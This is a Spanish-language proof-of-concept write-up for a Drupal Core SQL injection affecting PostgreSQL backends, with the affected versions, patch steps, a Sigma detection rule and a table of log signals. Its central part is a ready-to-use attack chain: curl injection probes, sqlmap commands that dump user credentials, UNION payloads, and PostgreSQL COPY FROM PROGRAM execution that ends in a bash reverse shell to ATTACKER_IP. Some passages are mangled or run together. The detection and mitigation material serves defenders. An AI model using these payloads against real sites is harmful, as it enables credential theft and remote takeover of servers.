
PoC de CVE
Tipo: Inyección SQL (CWE-89) Producto afectado: Drupal Core (API de abstracción de base de datos) Aviso de Drupal: SA-CORE-2026-004 Publicado: 20 de mayo de 2026 Gravedad: Altamente crítica (Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082 es una vulnerabilidad de inyección SQL en la API de abstracción de base de datos del núcleo de Drupal. La capa de base de datos de Drupal envuelve PDO y sanitiza todas las consultas antes de que lleguen a la base de datos. Esta vulnerabilidad omite esa sanitización solo para backends de PostgreSQL: las solicitudes HTTP especialmente manipuladas se cuelan a través de la lógica de normalización, inyectando fragmentos SQL controlados por el atacante directamente en las consultas de la base de datos.
MySQL y MariaDB no se ven afectados por el vector de inyección, aunque la versión del parche también incluye correcciones críticas de Symfony/Twig que se aplican a todos los backends.
| Rama | Vulnerable | Parcheada |
|---|---|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
Requisito previo: El objetivo debe usar PostgreSQL como backend de su base de datos.
La capa de abstracción de base de datos de Drupal sanitiza los valores mediante consultas parametrizadas/sentencias preparadas, pero depende del generador de consultas para proporcionar SQL estructural confiable (nombres de campos, operadores, destinos ORDER BY). El fallo está en cómo el controlador de PostgreSQL maneja ciertos patrones de entrada al construir consultas: el dialecto SQL de PostgreSQL difiere de MySQL en aspectos clave:
||::COPY ... FROM PROGRAMUna solicitud manipulada introduce caracteres/secuencias que superan la sanitización a nivel de valores de Drupal, pero que el analizador de PostgreSQL interpreta como SQL estructural. La superficie de ataque es alcanzable sin autenticación a través de cualquier endpoint que pase parámetros controlados por el usuario a las consultas de la base de datos (búsqueda, filtros de vista, envíos de formularios, JSON:API, etc.).
Attacker (unauthenticated)
|
|--> HTTP request with crafted parameter
| (e.g. search field, filter, form input)
|
v
Drupal DB Abstraction API
|
|--> Sanitization bypass (PostgreSQL-specific)
|
v
PostgreSQL executes injected SQL
|
|--> Information disclosure (dump entire DB)
|--> Privilege escalation (inject admin credentials)
|--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
COPY TO PROGRAM 'cmd' si el usuario de la base de datos tiene privilegios de superusuarioLa advertencia del propio Drupal: "los exploits podrían desarrollarse en cuestión de horas o días después de la divulgación" (coherente con CVEs históricos de la capa de base de datos de Drupal como SA-CORE-2014-005 / Drupalgeddon).
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer (recommended)
composer update drupal/core drupal/core-recommended
# Verify version
php core/scripts/drupal --version
# OR via Drush
drush updb && drush cr
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
Bloquear patrones: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--
Asegúrese de que PostgreSQL solo se vincule a localhost o a una interfaz privada; no debe ser accesible desde internet.
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082 es una inyección SQL sin autenticación en Drupal Core dirigida a backends de PostgreSQL. A pesar de un CVSS moderado de 6.5 en NVD, Drupal la califica como 20/25 (Altamente crítica) porque el acceso no autenticado + COPY TO PROGRAM de PostgreSQL = RCE directo en entornos mal configurados. El amplio rango de versiones afectadas y las correcciones incluidas para Twig SSTI hacen de este un parche crítico y urgente para todos los sitios Drupal, especialmente aquellos que usan PostgreSQL en implementaciones expuestas a internet.
Acción recomendada: Actualice inmediatamente a la versión parcheada correspondiente a su rama. Verifique que el usuario de aplicación de la base de datos no sea un superusuario de PostgreSQL.
| Fuente | Señal |
|---|
| Registros web | pg_sleep, ::, UNION SELECT, --, COPY PROGRAM en cadenas de consulta |
| Registros de PostgreSQL | Errores de sintaxis que se correlacionan con las marcas de tiempo de las solicitudes web |
| Drupal watchdog | Excepciones de base de datos de endpoints de búsqueda/vista/jsonapi |
| auditd | postgres generando procesos hijos (COPY TO PROGRAM) |
| Tabla de usuarios de Drupal | Nuevas filas de rol administrator con marcas de tiempo recientes |